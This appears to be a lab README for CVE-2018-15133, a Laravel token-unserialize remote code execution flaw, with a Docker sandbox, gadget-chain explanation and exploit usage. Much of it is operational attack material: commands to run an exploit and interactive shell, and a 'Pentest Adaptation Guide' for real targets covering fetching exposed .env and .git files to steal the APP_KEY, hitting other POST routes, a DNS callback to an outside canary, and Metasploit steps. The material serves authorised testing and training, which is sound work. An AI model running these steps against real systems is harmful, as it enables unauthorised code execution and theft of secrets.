All labs
CVE-2018-15133high

Laravel Framework Token Unserialize RCE

Laravel Framework

RCE — Deserialization of Untrusted Data (CWE-502)

Download sandbox (9 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2018-15133 — Laravel Framework Token Unserialize RCE

Overview

FieldValue
CVECVE-2018-15133
SoftwareLaravel Framework
Version Tested5.6.29 (PHP 7.2.10)
Vulnerable RangeLaravel <= 5.5.40, 5.6.x <= 5.6.29
TypeRCE — Deserialization of Untrusted Data (CWE-502)
CVSS v3.18.1 HIGH — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthenticationNot required (but APP_KEY must be known)
KEVYes — added to CISA's Known Exploited Vulnerabilities catalog on 2024-01-16

In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, the VerifyCsrfToken middleware passes the X-XSRF-TOKEN request header through Encrypter::decrypt(), which calls unserialize() on the decrypted value without any type check. An attacker who knows the application's APP_KEY can craft a valid encrypted token whose plaintext is a malicious PHP serialized object. When Laravel deserializes it, the PendingBroadcast::__destruct() gadget fires and executes arbitrary OS commands as the web server process.

Quick Start

bash verify.sh

This starts the vulnerable Laravel environment, waits for readiness, runs the exploit with three example commands (id, uname -a, cat /etc/passwd), and prints the results.

Environment

  • Image: kozmico/laravel-poc-cve-2018-15133:latest (Docker Hub)
  • Laravel: 5.6.29 — last version before the patch (5.6.30 / 5.5.41)
  • PHP: 7.2.10
  • Port: 8000 → Laravel artisan dev server (--host=0.0.0.0)
  • APP_KEY: base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk=
  • Setup time: ~5 seconds (image is pre-built; no compilation)
docker compose up -d        # start
docker compose logs -f      # watch logs
docker compose down         # teardown

The application exposes a POST / route (in the web middleware group) which is the exploit vector.

Exploit

How It Works

1. Vulnerability root cause

Illuminate/Encryption/Encrypter.php::decrypt() (pre-patch) always calls unserialize() on the decrypted value:

// Vulnerable code (< 5.6.30)
protected function getJsonPayload($payload) { ... }

public function decrypt($payload, $unserialize = true) {
    ...
    return $unserialize ? unserialize($this->stripPadding($decrypted)) : $decrypted;
}

VerifyCsrfToken::getTokenFromRequest() decrypts the X-XSRF-TOKEN header and calls decrypt() with the default $unserialize = true. Since the attacker controls what gets encrypted (because they know the key), they control what gets deserialized.

2. Gadget chain (Laravel/RCE1 — Faker\Generator)

PendingBroadcast::__destruct()
  -> $this->events->dispatch($this->event)
  -> Faker\Generator::__call('dispatch', [$cmd])
  -> $this->formatters['dispatch']($cmd)   // = system($cmd)

The PendingBroadcast class has a __destruct() method that calls $this->events->dispatch($this->event). When $this->events is a Faker\Generator instance with formatters['dispatch'] = 'system' and $this->event is our command string, PHP calls system($cmd) and the output is printed to the response.

3. Encryption

To pass MAC verification, the payload is encrypted exactly as Laravel does it:

plaintext  = base64_encode(serialized_object)
ciphertext = AES-256-CBC(plaintext, key)
mac        = HMAC-SHA256(base64(iv) + base64(ciphertext), key)
token      = base64(JSON({iv, value: ciphertext_b64, mac}))

The resulting token is sent as X-XSRF-TOKEN in any POST request.

4. Bug fixes vs. original aljavier PoC

The original Python script has two bugs that prevent successful exploitation:

  • Double backslash: PHP namespace separators in serialized class names must be a single \. The PoC used \\\\ (Python literal) = \\ (actual string), causing unserialize() to fail with "Error at offset".
  • Missing property: Faker\Generator has two protected properties (providers and formatters). The PoC only serialized one, producing an invalid object.

Manual Usage

# Start environment
docker compose up -d

# Install dependencies
pip install -r exploit/requirements.txt

# Run a single command
python3 exploit/exploit.py http://localhost:8000/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -c id

# Interactive pseudo-shell
python3 exploit/exploit.py http://localhost:8000/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -i

# Try specific gadget chain variant (1-4)
python3 exploit/exploit.py http://localhost:8000/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -c id -m 2

Expected Output

[*] Target : http://localhost:8000/
[*] APP_KEY: 9UZUmEfHhV7...

[+] Exploited via gadget method 1
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Pentest Adaptation Guide

Target Discovery

Identify vulnerable Laravel instances:

# Banner / version detection via artisan debug page (APP_DEBUG=true exposes version)
curl -sk https://TARGET/ | grep -i "Laravel"

# Nmap service scan
nmap -sV -p 80,443,8000,8080 TARGET

# Check for .env exposure (CVE-2017-16894 — often co-present with CVE-2018-15133)
curl -sk https://TARGET/.env
curl -sk https://TARGET/env
curl -sk https://TARGET/.env.backup

# Check Laravel version from composer.lock if exposed
curl -sk https://TARGET/composer.lock | python3 -m json.tool | grep -A2 "laravel/framework"

# Error page version disclosure (only if APP_DEBUG=true)
curl -sk https://TARGET/DOESNOTEXIST | grep -i "laravel\|version"

Obtaining the APP_KEY

This exploit requires the APP_KEY. Acquisition methods in order of likelihood:

  1. CVE-2017-16894 / .env exposure: Many apps running debug mode expose /.env directly. If curl https://TARGET/.env returns the file, extract APP_KEY=base64:XXXX — strip the base64: prefix before passing to the exploit.
  2. Git repo leak: Check https://TARGET/.git/, https://TARGET/.git/config. If exposed, clone or download .env.
  3. Backup files: Try /.env.bak, /.env.old, /.env~, /backup/.env.
  4. Metasploit auto-discovery: The MSF module unix/http/laravel_token_unserialize_exec includes an automatic .env extraction routine.
  5. Prior compromise: Log files, S3 bucket misconfigurations, or leaked CI/CD environment variables.

Adapting the Exploit

# Replace localhost:8000 with the real target
python3 exploit/exploit.py https://TARGET/ APP_KEY_WITHOUT_PREFIX -c id

# For HTTPS with self-signed certificate (SSL verification is already disabled)
python3 exploit/exploit.py https://TARGET/ APP_KEY -c id

# If the default POST / route returns no output, try other POST routes
# (any route in the 'web' middleware group works — form submit endpoints, etc.)
python3 exploit/exploit.py https://TARGET/login APP_KEY -c id
python3 exploit/exploit.py https://TARGET/contact APP_KEY -c id

# If the app is behind a proxy, set the proxy:
HTTPS_PROXY=http://BURP:8080 python3 exploit/exploit.py https://TARGET/ APP_KEY -c id

Safe Verification (Non-Destructive)

To confirm the vulnerability without causing damage:

# Read a non-sensitive file — confirms RCE without writing anything
python3 exploit/exploit.py https://TARGET/ APP_KEY -c "cat /etc/hostname"

# DNS callback (confirms outbound network without touching the filesystem)
# Set up a canary at interact.sh or Burp Collaborator first
python3 exploit/exploit.py https://TARGET/ APP_KEY -c "nslookup YOURCANARY.oastify.com"

# Check current user (minimal footprint)
python3 exploit/exploit.py https://TARGET/ APP_KEY -c "id && hostname"

# DO NOT run destructive commands (rm, mkfs, shutdown, etc.) on production
# DO NOT write webshells unless the scope explicitly permits it
# DO NOT exfiltrate real user data — document the RCE with read-only proof

Metasploit Alternative

msfconsole -q
msf6 > use unix/http/laravel_token_unserialize_exec
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set RPORT 443
msf6 exploit(...) > set SSL true
msf6 exploit(...) > set APP_KEY APP_KEY_BASE64   # omit if relying on auto-discovery
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > check    # safe check — does not execute a payload
msf6 exploit(...) > run

Evidence Collection

Capture the following for the pentest report:

  1. Terminal output showing id / whoami response (proves code execution context)
  2. HTTP request/response from Burp Suite or curl -v showing the X-XSRF-TOKEN header and the RCE output in the body
  3. Laravel version proof: php artisan --version output or composer.lock snippet
  4. APP_KEY acquisition method: screenshot or curl output showing how the key was obtained (e.g., .env exposure)
  5. CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — note that AC:H reflects the prerequisite of knowing the key

Per OWASP WSTG, document under WSTG-INPV-11 (Testing for Code Injection) and reference the Laravel advisory.

References